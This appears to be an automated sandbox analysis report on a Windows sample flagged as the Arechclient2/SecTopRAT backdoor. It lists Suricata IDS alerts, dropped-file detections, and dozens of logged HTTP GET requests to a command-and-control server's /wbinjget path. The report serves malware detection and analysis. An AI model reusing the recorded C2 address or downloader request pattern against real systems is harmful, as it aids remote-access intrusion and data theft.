2024-11-28T09:53:52.746417+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49808	45.141.84.168	9000	TCP
2024-11-28T09:53:54.372125+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49809	45.141.84.168	9000	TCP
2024-11-28T09:53:56.000195+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49810	45.141.84.168	9000	TCP
2024-11-28T09:53:57.554891+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49811	45.141.84.168	9000	TCP
2024-11-28T09:53:59.480638+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49812	45.141.84.168	9000	TCP
2024-11-28T09:54:01.014030+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49813	45.141.84.168	9000	TCP
2024-11-28T09:54:02.698587+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49814	45.141.84.168	9000	TCP
2024-11-28T09:54:04.232678+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49815	45.141.84.168	9000	TCP
2024-11-28T09:54:05.877388+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49816	45.141.84.168	9000	TCP
2024-11-28T09:54:07.467152+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49817	45.141.84.168	9000	TCP
2024-11-28T09:54:09.004337+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49818	45.141.84.168	9000	TCP
2024-11-28T09:54:10.637834+0100	2052248	1	A Network Trojan was detected	192.168.2.4	49819	45.141.84.168	9000	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T09:53:33.437774+0100	2803305	3	Unknown Traffic	192.168.2.4	49796	45.141.84.168	9000	TCP
2024-11-28T09:53:35.033442+0100	2803305	3	Unknown Traffic	192.168.2.4	49797	45.141.84.168	9000	TCP
2024-11-28T09:53:36.625530+0100	2803305	3	Unknown Traffic	192.168.2.4	49798	45.141.84.168	9000	TCP
2024-11-28T09:53:46.418292+0100	2803305	3	Unknown Traffic	192.168.2.4	49804	45.141.84.168	9000	TCP
2024-11-28T09:53:47.955383+0100	2803305	3	Unknown Traffic	192.168.2.4	49805	45.141.84.168	9000	TCP
2024-11-28T09:53:49.501586+0100	2803305	3	Unknown Traffic	192.168.2.4	49806	45.141.84.168	9000	TCP
2024-11-28T09:53:56.000195+0100	2803305	3	Unknown Traffic	192.168.2.4	49810	45.141.84.168	9000	TCP
2024-11-28T09:54:01.014030+0100	2803305	3	Unknown Traffic	192.168.2.4	49813	45.141.84.168	9000	TCP
2024-11-28T09:54:05.877388+0100	2803305	3	Unknown Traffic	192.168.2.4	49816	45.141.84.168	9000	TCP
2024-11-28T09:54:09.004337+0100	2803305	3	Unknown Traffic	192.168.2.4	49818	45.141.84.168	9000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\jotnemib	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\kdtvqgf	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\sto\BITA54F.tmp	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\sto\coml.exe (copy)	ReversingLabs: Detection: 37%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.0% probability

Compliance

Uses 32bit PE files

Source: 9VbeqQbgU4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: 9VbeqQbgU4.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49793 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: 9VbeqQbgU4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: 9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: dobi.exe, 00000008.00000002.2236044707.000001F716DFC000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2299287340.000001F717CB0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: more.com, 00000009.00000002.2391978998.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000009.00000002.2391538206.00000000040CC000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653114881.0000000004843000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653446544.0000000004D20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: dobi.exe, 00000008.00000002.2236044707.000001F716DFC000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000002.2299287340.000001F717CB0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: more.com, 00000009.00000002.2391978998.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, more.com, 00000009.00000002.2391538206.00000000040CC000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653114881.0000000004843000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653446544.0000000004D20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbE4 source: powershell.exe, 00000005.00000002.2314056734.0000000007822000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0707BD21h	12_2_0707BBA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0707BD21h	12_2_0707BBF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0707BD21h	12_2_0707BC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0734FBC9h	12_2_0734FBB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 07355414h	12_2_07354F7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0735F735h	12_2_0735F159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	12_2_08107080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 08101FA9h	12_2_081012F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	12_2_081012F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 081025FEh	12_2_081012F8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.4:49769 -> 45.141.84.168:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49796 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 45.141.84.168:15647 -> 192.168.2.4:49769
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49789 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49795 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49797 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49786 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49798 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49799 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49801 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49800 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49802 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49803 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49794 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49804 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49806 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49805 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49807 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49810 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49809 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49811 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49808 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49812 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49816 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49813 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49815 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49818 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49819 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49817 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.4:49814 -> 45.141.84.168:9000

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 45.141.84.168 ports 9000,1,4,5,6,7,15647

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49819

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.4:49769 -> 45.141.84.168:15647

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: MEDIALAND-ASRU MEDIALAND-ASRU

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49796 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49797 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49798 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49804 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49805 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49806 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49810 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49816 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49813 -> 45.141.84.168:9000
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49818 -> 45.141.84.168:9000

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.21.226
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.21.226
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168

Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive
